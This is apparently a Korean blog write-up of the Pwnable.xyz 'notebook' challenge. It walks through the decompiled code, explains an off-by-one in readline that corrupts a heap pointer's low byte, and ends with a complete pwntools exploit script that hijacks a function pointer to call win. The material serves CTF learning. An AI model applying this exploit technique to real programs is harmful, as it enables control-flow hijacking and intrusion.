tmxklab

[Pwnable.xyz] notebook 본문

War Game/Pwnable.xyz

[Pwnable.xyz] notebook

tmxk4221 2020. 9. 9. 22:31

1. 문제

nc svc.pwnable.xyz 30035

 

1) mitigation 확인

 

2) 문제 확인

 

3) 코드흐름 파악

3-1) main()

int __cdecl main(int argc, const char **argv, const char **envp)
{
  setup(argc, argv, envp);
  printf("Name your notebook: ");
  readline(&nbook, 128LL, 10LL);
  while ( 1 )
  {
    print_menu();
    switch ( (unsigned __int64)(unsigned int)read_int() )
    {
      case 0uLL:
        return 0;
      case 1uLL:
        make_note();
        break;
      case 2uLL:
        edit_note();
        break;
      case 3uLL:
        delete_note();
        break;
      case 4uLL:
        printf("Notebook name: ");
        readline(&nbook, 128LL, 10LL);
        break;
      default:
        puts("Invalid");
        break;
    }
  }
}
  • 메뉴 1 : make_note(), 메뉴 2 : edit_note(), 메뉴 3 : delete_note()

 

3-2) make_note()

_QWORD *make_note()
{
  _QWORD *result; // rax
  int v1; // [rsp+4h] [rbp-Ch]
  _QWORD *v2; // [rsp+8h] [rbp-8h]

  printf("size: ");
  v1 = read_int();
  v2 = malloc(0x38uLL);
  v2[6] = malloc(v1);
  *(v2 + 2) = v1;
  *v2 = get_size;
  printf("Title: ");
  readline(v2 + 12, 31, 10);
  printf("Note: ");
  readline(v2[6], v1, 10);
  result = v2;
  ptr = v2;
  return result;
}
  • v2 = malloc(0x38), v2[6] = malloc(v1)
  • v2 + 2 = v1, v2 = getsize()
  • title : read(0, v2 + 12, 31)
  • note : read(0, v2[6], v1)
  • ptr = v2

 

3-3) edit_note()

void *edit_note()
{
  void *result; // rax
  int v1; // eax

  result = ptr;
  if ( ptr )
  {
    result = *(ptr + 6);
    if ( result )
    {
      printf("note: ");
      v1 = (*ptr)(ptr);
      result = readline(*(ptr + 6), v1, 10);
    }
  }
  return result;
}
  • ptr과 ptr+6이 존재하면 두 번째 if문 로직 실행
  • (*ptr)(ptr)
    • ptr전역변수에 존재하는 청크에 저장된 청크를 호출하는 듯
  • read(ptr+6, v1, 10)

 

3-4) delete_note()

void delete_note()
{
  if ( ptr )
  {
    if ( *(ptr + 6) )
    {
      free(*(ptr + 6));
      free(ptr);
      ptr = 0LL;
    }
  }
}
  • ptr과 ptr+6이 존재하면 free(ptr+6), free(ptr)

 

전역변수)

  • nbook : 0x602280 → notebook 이름 저장하는 곳
  • ptr : 0x602300 → notebook_info청크 주소 저장하는 곳

 


2. 접근방법

 

일단 처음 생각한 거는 edit_note()에서 ptr전역변수에 있는 청크에 저장된 get_size를 호출하는 부분이다.

 

 

1) 청크 구조 확인

input)

  • notebook name : "AAAAAAAA"
  • size : 10
  • title : "BBBBBBBB"
  • note : "CCCCCCCC"

  • nbook(전역변수, 주소: 0x602280) : notebook name("AAAAAAAA")
  • note_info청크(주소 : 0x603000, size : static)
    • note_info[0] : get_size()
    • note_info[1] : size
    • note_info + 12byte : title("BBBBBBBB")
    • note_info[6] : 0x603050(note chunk)
  • note청크(주소 : 0x603040, size : dynamic) : note("CCCCCCCC")

 

2) readline() 취약점(off by one)

코드를 자세히 안보고 지나쳐서 못봤는데 헤매다가 디버깅하다가 readline에서 취약점이 발생하는 것을 확인하였다.

unsigned __int64 __fastcall readline(__int64 a1, int a2, char a3)
{
  char v4; // [rsp+0h] [rbp-20h]
  char buf; // [rsp+13h] [rbp-Dh]
  int i; // [rsp+14h] [rbp-Ch]
  unsigned __int64 v7; // [rsp+18h] [rbp-8h]

  v4 = a3;
  v7 = __readfsqword(0x28u);
  for ( i = 0; i < a2; ++i )
  {
    read(0, &buf, 1uLL);
    if ( buf == v4 )
      break;
    *(a1 + i) = buf;
  }
  *(a1 + i) = buf;
  return __readfsqword(0x28u) ^ v7;
}

read함수를 통해 buf에 한 바이트씩 저장하고 if문의 검증을 통과하면 *(a1+i)에 buf의 값을 저장한다. 추가로 for문은 파라미터로 받은 a2 즉, 사이즈만큼 반복된다. 만약, for문에 입력받은 buf가 v4('\n')와 동일하면 for문을 멈추고 *(a1+i)에 buf를 저장한다.

 

요약하면 문자열을 입력받는데 마지막에 개행문자('\n')을 추가하는 것 같다.

하지만, readline을 실행할 때 문자열에 개행문자가 포함되지 않는다면 for문은 a2만큼 계속 돌 것이며 for문 종료이후에 개행문자가 아닌 1byte 문자를 더 추가한다. (off bye one)

 

 

3) menu 4 → readline(&nbook, 128, 10)

  • 메뉴 4에서 readline을 하기 직전의 상황이다.
  • 현재 nbook에는 "A"*8이 저장되어 있고 ptr(nbook+128)에는 note_info청크의 주소가 담겨져 있다.

  • readline에서 128byte만큼 "A"값을 개행문자 없이 넣었을 때 상황이다.
  • nbook에 129byte만큼의 입력을 받아 ptr의 하위 1byte에 "A"가 들어갔다.

 

 

공격 프로세스)

  • 메뉴 1 → note청크에 win함수를 넣고 *ptr+6에 0이 아닌 다른 값을 넣음
  • 메뉴 4 → readline(nbook, "\x50"*0x80, 10)
  • 메뉴 2 실행

 


3. 풀이

 

1) 익스코드

from pwn import *

context.log_level = "debug"

p = process("./challenge")
#p = remote("svc.pwnable.xyz", 30035)
e = ELF("./challenge")
#gdb.attach(p)
win_addr = e.symbols['win']

p.sendlineafter("notebook: ", "A"*8)

# 1. make note
p.sendlineafter("> ", str(1))
p.sendlineafter("size: ", str(0x50))
p.sendlineafter("Title: ", "B"*8)
p.sendlineafter("Note: ", p64(win_addr) + p64(0)*5 + p64(1))

# 2. 1byte overflow
p.sendlineafter("> ", str(4))
p.sendafter("name: ", "\x50"*0x80)

p.sendlineafter("> ", str(2))

p.interactive()

 

2) 실행결과

 


4. 몰랐던 개념

'War Game > Pwnable.xyz' 카테고리의 다른 글

[Pwnable.xyz] car shop  (0) 2020.09.09
[Pwnable.xyz] words  (0) 2020.09.09
[Pwnable.xyz] nin  (0) 2020.09.09
[Pwnable.xyz] Dirty Turtle  (0) 2020.09.09
[Pwnable.xyz] Hero Factory  (0) 2020.09.09
Comments